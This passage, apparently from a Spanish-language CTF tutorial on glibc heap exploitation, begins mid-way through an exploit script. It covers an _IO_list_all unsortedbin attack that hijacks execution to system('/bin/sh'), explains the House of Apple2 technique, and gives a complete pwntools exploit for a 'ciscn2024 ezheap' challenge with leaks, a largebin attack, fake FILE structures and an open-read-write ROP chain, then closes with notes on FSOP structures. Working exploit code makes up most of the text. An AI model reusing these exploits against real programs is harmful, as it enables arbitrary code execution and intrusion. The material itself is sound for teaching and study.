# El chunk 1 y chunk 2 compartirán la misma dirección base si chunk 1 fue un `old top chunk`
# en `unsortedbin` y chunk 2 se asigna a partir de él.
anadir_nota(0x400, b"b"*8) # Chunk 2: Este chunk es importante para el leak de libc.
# --- Fase 2: Ataque a _IO_list_all y ejecución arbitraria ---
# Filtrar la dirección base de libc.
# El chunk 2 fue asignado a partir del `old top_chunk` en el unsortedbin.
# Su contenido, si fue parte de una fusión o división, puede contener un puntero a `main_arena`.
mostrar_nota()
recibir_hasta(b"b"*8) # Leer hasta el contenido de chunk 2.
main_arena_leak = u64_peq(recibir(6)) # Leak del puntero a `main_arena`.
# Calcular libc base a partir del leak de `main_arena`. Los offsets son específicos de la libc 2.23.
libc_base = main_arena_leak - 1640 - 0x10 - libc.sym['__malloc_hook'] # Ajuste de offset.
io_list_all_addr = libc_base + libc.sym["_IO_list_all"]
system_func_addr = libc_base + libc.sym["system"]
print("Libc Base:", hex(libc_base))
print("_IO_list_all:", hex(io_list_all_addr))
# Obtener la dirección base del heap.
# Editar chunk 2 para realizar un desbordamiento, revelando el puntero del heap.
editar_nota(2, -1, b"c"*0x10) # Desbordar el chunk 2 para que muestre más información.
mostrar_nota()
recibir_hasta(b"c"*0x10)
heap_base_leak = u64_peq(recibir(6)) - 0x30 # Offset para la base del heap.
print("Heap Base:", hex(heap_base_leak))
# Construir el payload para el ataque _IO_list_all.
# Se falsifica una estructura `_IO_FILE` que será escrita en `_IO_list_all - 0x10`.
# Cuando `malloc_printerr` se activa, leerá esta estructura falsa.
# El `_IO_list_all` apunta a una cadena de estructuras `_IO_FILE`.
# Si sobrescribimos `_IO_list_all` a `main_arena + 88`, entonces se tratará a `main_arena + 88`
# como un `_IO_FILE` falso.
# `_IO_FILE` tiene un campo `_chain` en offset 0x68.
# Si `main_arena + 88` es el `_IO_FILE` falso, `main_arena + 88 + 0x68 = main_arena + 0xC0`.
# `main_arena + 0xC0` es donde se almacena el primer chunk libre de smallbin de tamaño 0x60.
# Falsificando este smallbin para que sea una estructura `_IO_FILE`, podemos secuestrar la ejecución.
# El payload consiste en:
# - `/bin/sh\x00` para ser el argumento de `system`.
# - Un `fake_file` que manipula los punteros `_chain` y `_lock` (entre otros).
# - Se usa `_IO_list_all - 0x10` como `bk` para el `unsortedbin attack`.
# - El `vtable` del `fake_file` se apunta a un área controlada del heap, donde se pondrá `system`.
payload_io = b"a"*0x400 # Relleno inicial para el desbordamiento.
fake_file_struct = b"/bin/sh\x00" + p64(0x61) # `_IO_buf_base` y `_flags` manipulados, tamaño 0x60.
fake_file_struct += p64(0) + p64(io_list_all_addr - 0x10) # `_IO_read_base`, `_IO_read_end` -> `bk`
# (para el unsortedbin attack)
fake_file_struct += p64(0) + p64(1) # `_IO_write_base`, `_IO_write_ptr`
# Relleno hasta el offset del `vtable` del `_IO_FILE_plus`.
fake_file_struct = fake_file_struct.ljust(0xd8, b"\x00")
# `vtable` apunta a un área del heap donde hemos puesto la dirección de `system`.
fake_file_struct += p64(heap_base_leak + 0x520) # `vtable` de la estructura `_IO_FILE` falsificada.
# Esta dirección debe ser un puntero a `_IO_jump_t`.
# En `heap_base_leak + 0x520` (un área controlada),
# colocamos la dirección de `system`.
fake_file_struct += p64(0)*3 + p64(system_func_addr) # Se colocan punteros falsos en el `vtable`,
# incluyendo `system` en una posición que será invocada.
# El offset 0x38 en `_IO_jump_t` es `__overflow`.
payload_io += fake_file_struct
# depurar_gdb() # Verificar el payload en el heap
# Editar chunk 2 con el payload falsificado. Esto sobrescribe el `old top_chunk` en `unsortedbin`.
editar_nota(2, -1, payload_io)
# La próxima llamada a `malloc` (a través de `anadir_nota`) activará el `unsortedbin attack`,
# sobrescribiendo `_IO_list_all`.
# Esto causará `malloc_printerr -> abort -> _IO_flush_all_lockp`, que llamará a una función en nuestro
# `vtable` falsificado (ej: `__overflow` o `__doallocate`), que ahora apunta a `system`.
recibir_hasta(b"Input your choice >> \n")
enviar_linea(b"1") # O cualquier opción que implique un `malloc`.
recibir_hasta(b"How long is your note?")
enviar_linea(str(0x10)) # Esto activa el `malloc` y el exploit.
interactuar()
House of Apple2
Introducción
House of Apple2 se considera una de las técnicas de ataque más eficaces para versiones recientes de glibc, ya que requiere un número mínimo de condiciones de explotación.
- Versiones aplicables:
glibc 2.35y posteriores. - Requisitos:
- Fuga de direcciones del heap y de
libc. - Una oportunidad de realizar un
largebin attack. - Control sobre la ejecución de operaciones de E/S (por ejemplo, al retornar de
main, llamar aexit, o a través de\_\_malloc\_assert). - Control de la
vtabley la estructura_wide_datade_IO_FILE, generalmente a través de unlargebin attack.
- Fuga de direcciones del heap y de
Principio
House of Apple2 se centra principalmente en la manipulación de la estructura \_IO\_FILE, en particular el miembro \_\_wide\_data. Esta técnica busca sortear las verificaciones de vtable introducidas en glibc 2.24 y posteriores.
Bypass de la Verificación de vtable
En glibc 2.24 y versiones posteriores, el puntero vtable dentro de la estructura \_IO\_FILE no puede ser secuestrado a una dirección arbitraria sin ser detectado. La función _IO_validate_vtable verifica si la vtable apunta a una región de memoria válida. Su funcionamiento es:
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Ruta rápida: el puntero vtable está dentro de la sección __libc_IO_vtables. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* El puntero vtable no está en la sección esperada. Usar la ruta lenta,
que terminará el proceso si es necesario. */
_IO_vtable_check ();
return vtable;
}
Esta verificación comprueba si la dirección de la vtable se encuentra dentro del rango de las vtables legítimas de glibc. Si no, se invoca a _IO_vtable_check, que puede terminar el proceso si la vtable no es válida (por ejemplo, si no es una vtable legítima de una biblioteca externa). Esto impide los ataques tradicionales de secuestro de vtable que apuntaban a la pila o el heap.
¿Cómo se evade?
La estrategia consiste en usar una vtable interna de glibc (como _IO_wfile_jumps) para la estructura \_IO\_FILE principal. Esto permite que el flujo de ejecución llegue a funciones como _IO_wfile_overflow. A partir de ahí, se manipula el miembro _wide_data de la estructura \_IO\_FILE para que apunte a una dirección controlada del heap. Esta dirección controlada contendrá una estructura \_IO\_wide\_data falsa, que a su vez tiene su propio puntero _wide_vtable. Este _wide_vtable sí puede apuntar a una vtable falsificada en el heap, permitiendo el control del flujo de ejecución sin activar la verificación de la vtable principal.
La estructura _IO_wide_data es similar a \_IO\_FILE y contiene un puntero \_wide\_vtable:
pwndbg> p _IO_wide_data_2
$2 = {
_IO_read_ptr = 0x0,
...
_wide_vtable = 0x7ffff7e170c0 <_IO_wfile_jumps>
}
Y la _IO_wfile_jumps, por ejemplo, tiene punteros a funciones como _IO_wfile_overflow:
const struct _IO_jump_t _IO_wfile_jumps =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), // Objetivo del ataque
...
};
El puntero _wide_vtable en la estructura \_IO\_wide\_data no está sujeto a la misma verificación estricta que la vtable principal de \_IO\_FILE, lo que permite secuestrar su flujo de ejecución.
Cadena de Llamadas exit y Análisis de Código
El exploit típicamente sigue una cadena de llamadas a través de exit que eventualmente llega a una de las funciones \_IO\_Wxxxxx:
_IO_wfile_overflow(la más común)_IO_wfile_underflow_mmap_IO_wdefault_xsgetn
Cadena \_IO\_wfile\_overflow
exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> target
Para que la ejecución llegue a \_IO\_WDOALLOCATE, debemos pasar varias verificaciones en \_IO\_wfile\_overflow y \_IO\_wdoallocbuf:
- En
\_IO\_wfile\_overflow:if (f->\_flags & \_IO\_NO\_WRITES)(debe ser falso)if ((f->\_flags & \_IO\_CURRENTLY\_PUTTING) == 0)(debe ser verdadero, o el camino alternativo)if (f->\_wide\_data->\_IO\_write\_base == 0)(debe ser verdadero)
- En
\_IO\_wdoallocbuf:if (fp->\_wide\_data->\_IO\_buf\_base)(debe ser falso)if (!(fp->\_flags & \_IO\_UNBUFFERED))(debe ser verdadero)
Resumen de la explotación:
El proceso implica falsificar la sección de vtable de la estructura \_IO\_FILE para que apunte a \_IO\_wfile\_jumps, evadiendo así la verificación de vtable. Esto permite que el programa salte a la función _IO_wfile_overflow. Después de pasar una serie de verificaciones de banderas y punteros, la ejecución llega a \_IO\_wdoallocbuf, que finalmente llama a \*(fp->\_wide\_data->\_wide\_vtable + 0x68)(fp), donde fp es un puntero a nuestra estructura \_IO\_FILE falsificada.
Condiciones clave a cumplir:
f->flags != 0x8 && f->flags != 0x800 && f->flags != 0x2(evitar ciertas banderas de error/estado)- La
vtablede\_IO\_FILEse establece en\_IO\_wfile\_jumps. _wide_datase establece en una dirección controlada del heap (heap\_addr1).\_wide\_data->\_IO\_write\_base = 0(es decir,\*(heap\_addr1 + 0x18) = 0)\_wide\_data->\_IO\_buf\_base = 0(es decir,\*(heap\_addr1 + 0x30) = 0)\_wide\_data->\_wide\_vtablese establece en una dirección controlada del heap (heap\_addr2).\_wide\_data->\_wide\_vtable->doallocatese establece en la dirección del código a ejecutar (C) (es decir,\*(heap\_addr2 + 0x68) = C).
Ejemplo: ciscn2024 ezheap
Descripción: Desafío en glibc 2.35 sin __free_hook y con sandbox que permite ORW (Open-Read-Write). Se utiliza House of Apple2 para lograr ejecución de código arbitrario.
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
nombre_binario = "./pwn" # Asumo que el binario es './pwn'
p = process(nombre_binario)
# p = remote('IP_REMOTO', PUERTO_REMOTO) # Para remoto
libc = ELF('./libc.so.6') # Librería libc específica (versión 2.35 o compatible)
def depurar():
gdb.attach(p)
# gdb.attach(p, 'b *0xDIRECCION_BREAKPOINT\nc')
# Funciones de interacción del menú
def create(tamano, contenido):
p.sendlineafter(b"choice >> ", b"1")
p.sendlineafter(b"size: ", str(tamano))
p.sendafter(b"content: ", contenido)
def delete(idx):
p.sendlineafter(b"choice >> ", b"2")
p.sendlineafter(b"index: ", str(idx))
def edit(idx, tamano, contenido):
p.sendlineafter(b"choice >> ", b"3")
p.sendlineafter(b"index: ", str(idx))
p.sendlineafter(b"size: ", str(tamano))
p.sendafter(b"content: ", contenido)
def show(idx):
p.sendlineafter(b"choice >> ", b"4")
p.sendlineafter(b"index: ", str(idx))
# --- Fase 1: Fuga de direcciones de libc ---
# Se usan chunks grandes para el unsorted bin.
create(0x200, b'./flag\x00\x00') # 0: Chunk para datos de la bandera
create(0x420, b'a'*16) # 1: Chunk grande para unsorted bin
create(0x200, b'./flag\x00\x00') # 2: Chunk para datos de la bandera
create(0x410, b'a'*16) # 3: Chunk grande para large bin (irá a largebin attack)
delete(1) # Liberar chunk 1 (0x420). Va a unsorted bin.
# Desbordamiento en chunk 0 para modificar el `prev_size` y `size` del chunk 1.
# Esto es para que `show(0)` pueda filtrar más allá de `\x00`.
# El tamaño 0x210 permite escribir en los metadatos de chunk 1.
edit(0, 0x210, b'a'*0x20f + b'c') # `a`*0x20f + `c` (para el byte 0x210) sobrescribe el size.
show(0) # Muestra el contenido del chunk 0, incluyendo el `fd` del unsorted bin.
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ace0 # Offset de libc.
print("Libc Base:", hex(libc_base))
# --- Fase 2: Fuga de dirección del heap y restauración de chunks para Largebin Attack ---
# Restaurar el tamaño del chunk 1 para que sea válido para la asignación.
# Se usa `0x200` de padding, `p64(0)` para `prev_size`, `p64(0x431)` para `size` (0x430 + PREV_INUSE).
edit(0, 0x210, b'a'*0x200 + p64(0) + p64(0x431))
create(0x430, b'as') # 4: Esto reasigna el chunk 1 (que ahora tiene tamaño 0x430) y lo envía a large_bin.
# Vuelve a editar chunk 0 para filtrar el `fd` del chunk 1 (ahora en large_bin).
edit(0, 0x210, b'a'*0x20f + b'c')
show(0)
fd_chunk1 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) # Filtrar el `fd` de chunk 1.
# Filtrar la dirección base del heap.
edit(0, 0x220, b'a'*0x21f + b'c') # Editar más para llegar a un puntero del heap.
show(0)
p.recvuntil(b'ac')
heap_addr1_leak = u64(p.recv(6).ljust(8,b'\x00')) # Filtrar una dirección en el heap.
# Calcular la base del heap. Se necesita un offset específico.
# El offset `0x5617db1db510-0x5617db1d9000` es el offset de `heap_addr1_leak` a la base del heap.
# `heap_base` se calcula restando este offset.
heap_base = heap_addr1_leak - (0x5617db1db510 - 0x5617db1d9000)
# Calcular otras direcciones relevantes del heap usando la `heap_base`.
heap_addr0 = (0x5635cdee0310 - 0x5635cdede000) + heap_base # Dirección del chunk 0.
heap_addr2 = (0x5626d7c3b950 - 0x5626d7c39000) + heap_base # Dirección del chunk 2.
print("Heap Base:", hex(heap_base))
# Restaurar el chunk 1 a su estado original y configurar el `bk_nextsize` para el `largebin attack`.
# El `bk_nextsize` se apunta a `_IO_list_all - 0x20`.
edit(0, 0x230, b'a'*0x200 + p64(0) + p64(0x431) + p64(fd_chunk1)*2 + p64(heap_addr1_leak) + p64(libc_base + libc.sym['_IO_list_all'] - 0x20))
# --- Fase 3: Construcción de House of Apple2 ---
# Gadgets ROP para ORW (Open-Read-Write)
pop_rdi_gadget = libc_base + 0x000000000002a3e5 # pop rdi; ret;
pop_rsi_gadget = libc_base + 0x000000000002be51 # pop rsi; ret;
pop_rdx_gadget = libc_base + libc.search(asm("pop rdx\nret")).__next__() # pop rdx; ret;
pop_rax_gadget = libc_base + libc.search(asm("pop rax\nret")).__next__() # pop rax; ret;
open_func_addr = libc_base + libc.sym['open']
read_func_addr = libc_base + libc.sym['read']
write_func_addr = libc_base + libc.sym['write']
syscall_gadget = libc_base + 0x91316 # syscall; ret;
_IO_wfile_jumps_addr = libc.sym._IO_wfile_jumps + libc_base # vtable para `_IO_wfile_jumps`
mprotect_func_addr = libc_base + libc.sym['mprotect']
print("_IO_wfile_jumps:", hex(_IO_wfile_jumps_addr))
# Estructura `_IO_FILE` falsa para el `_IO_list_all` (en `_IO_list_all - 0x20`).
# Los offsets son cruciales y específicos de la arquitectura/versión de glibc.
fake_IO_FILE = flat({
0x0: 0, # _flags
0x8: 0, # _IO_read_ptr
0x10: 0, # _IO_read_end
0x18: 0, # _IO_write_base
0x20: 0, # _IO_write_ptr
0x28: 0, # _IO_write_end
0x30: 0, # _IO_buf_base
0x38: 0, # _IO_buf_end
0x40: 0, # _IO_save_base
0x48: 0, # _IO_backup_base
0x50: 0, # _IO_save_end
0x58: 0, # _markers
0x60: 0, # _chain
0x68: 0, # _fileno
0x70: 0, # _flags2
0x78: 0, # _old_offset
0x80: 0, # _cur_column
0x88: heap_addr0, # _wide_data -> apunta al chunk 0 donde está la fake _IO_wide_data
0x90: 0, # _freeres_list
0x98: 0, # _freeres_buf
0xa0: 0, # __pad5
0xa8: 0, # _mode
0xc0: _IO_wfile_jumps_addr, # vtable -> apunta a _IO_wfile_jumps (legítima de libc)
})
# Estructura `_IO_wide_data` falsa para el chunk 0.
# Contiene la cadena ROP para ORW.
fake_IO_wide_data = flat({
0x0: [
pop_rdi_gadget, heap_addr2, # open("./flag", O_RDONLY)
pop_rsi_gadget, 0,
pop_rdx_gadget, 0, 0, # pop rdx; pop r12; ret; (rdx=0, r12=0)
pop_rax_gadget, 2, syscall_gadget + 27, # rax=2 (open), syscall
pop_rdi_gadget, 3, # read(3, heap_addr2, 0x100)
pop_rsi_gadget, heap_addr2,
pop_rdx_gadget, 0x100, 0,
read_func_addr,
pop_rdi_gadget, 1, # write(1, heap_addr2, ...)
write_func_addr,
],
0xa8: 0,
0xb0: 0,
0xb8: 0,
0xc0: 0,
0xc8: 0,
0xd0: 0,
0xd8: 0,
0xe0: heap_base + (0x5635cdee03f0 - 0x5635cdede000), # _wide_vtable -> apunta a una vtable falsificada en el heap.
0x148: libc_base + 0x000000000005a120 # mov rsp, rdx ; ret (gadget para stack pivot)
})
# Escribir las estructuras falsas en los chunks correspondientes.
edit(3, len(fake_IO_FILE), fake_IO_FILE) # El chunk 3 se usa para la fake _IO_FILE.
edit(0, len(fake_IO_wide_data), fake_IO_wide_data) # El chunk 0 se usa para la fake _IO_wide_data.
# Liberar chunk 3. Esto lo envía al unsorted_bin.
delete(3)
# Solicitar un chunk de 0x430. Esto activa el largebin attack.
# El `bk_nextsize` de `chunk 1` fue manipulado para apuntar a `_IO_list_all - 0x20`.
# Esta asignación provocará que `_IO_list_all` sea sobrescrito con la `fake_IO_FILE`.
create(0x430, b'c') # 5: Activa el largebin attack.
# depurar() # Punto de depuración final
# Invocar una operación de E/S para activar la cadena de llamadas.
# Esto se puede hacer llamando a `exit()` o alguna otra función que vacíe los buffers de IO.
# La opción 5 en el menú es `exit(0)`.
p.sendlineafter(b"choice >> ", b'5')
p.interactive()
FSOP (File Stream Oriented Programming)
FSOP, o programación orientada a flujos de archivos, es una técnica de explotación avanzada que manipula las estructuras de datos de los flujos de E/S (FILE) en libc. Se basa en que "todo es un archivo" en Unix, y estas estructuras controlan cómo interactúan los programas con sus entradas y salidas.
_IO_FILE_plus
Esta es la estructura FILE principal en las versiones modernas de glibc. Es una extensión de la estructura \_IO\_FILE e incluye un puntero a una tabla de funciones virtuales (vtable) de tipo \_IO\_jump\_t.
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
Los offsets clave en esta estructura son:
0x68: Campo\_chain(puntero para enlazar estructurasFILE).0xd8: Campovtable(puntero a la tabla de funciones virtuales).
_IO_FILE
Esta estructura define la información necesaria para las operaciones de lectura y escritura de archivos, como los punteros de inicio y fin para los búferes. Si un atacante puede modificar los campos \_IO\_write\_base y \_IO\_write\_end, puede provocar fugas de información arbitraria en memoria cuando se ejecuten funciones de salida como puts() o printf().
struct _IO_FILE
{
int _flags; /* [flag] Banderas de estado, incluye _IO_MAGIC (0xfbad) */
/* Punteros de búfer para el protocolo C++ streambuf. */
char *_IO_read_ptr; /* Puntero de lectura actual */
char *_IO_read_end; /* Fin de la región de lectura */
char *_IO_read_base; /* Inicio de la región de lectura y retroceso */
char *_IO_write_base; /* Inicio de la región de escritura */
char *_IO_write_ptr; /* Puntero de escritura actual */
char *_IO_write_end; /* Fin de la región de escritura */
char *_IO_buf_base; /* Inicio de la región de reserva */
char *_IO_buf_end; /* Fin de la región de reserva */
/* Campos para soporte de retroceso y deshacer. */
char *_IO_save_base; /* Puntero de inicio de la región de lectura no actual */
char *_IO_backup_base; /* Puntero del primer carácter válido del área de retroceso */
char *_IO_save_end; /* Puntero de fin de la región de lectura no actual */
struct _IO_marker *_markers;
struct _IO_FILE *_chain; /* [Enlace] Puntero a la siguiente estructura _IO_FILE */
int _fileno; /* Descriptor de archivo */
int _flags2;
__off_t _old_offset; /* Antiguo _offset, pero era demasiado pequeño. */
unsigned short _cur_column; /* Columna actual + 1; 0 significa desconocido. */
signed char _vtable_offset;
char _shortbuf[1]; /* Búfer pequeño */
_IO_lock_t *_lock; /* Bloqueo del archivo */
#ifdef _IO_USE_OLD_IO_FILE
};
El campo \_chain es crucial, ya que enlaza las estructuras FILE en una lista simple. La variable global \_IO\_list\_all apunta a la primera estructura FILE en esta cadena (generalmente stderr), y se puede obtener su valor a través de un offset en la biblioteca libc.
_IO_jump_t (vtable)
La estructura \_IO\_jump\_t es la tabla de funciones virtuales a la que apunta la vtable de \_IO\_FILE\_plus. Contiene un conjunto de punteros a funciones relacionadas con las operaciones de E/S. La manipulación de estos punteros puede lograr efectos similares a los ataques de secuestro de la tabla GOT.
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn); // Llamado por puts()
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate); // Objetivo común de ataques
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
Esta tabla contiene 19 funciones virtuales. Cualquier operación de E/S indirectamente invoca a una de estas funciones (por ejemplo, write() llama a \_\_write, puts() llama a \_\_xsputn). Por lo tanto, controlar una de estas funciones puede permitir la ejecución de código arbitrario, similar a un secuestro de GOT.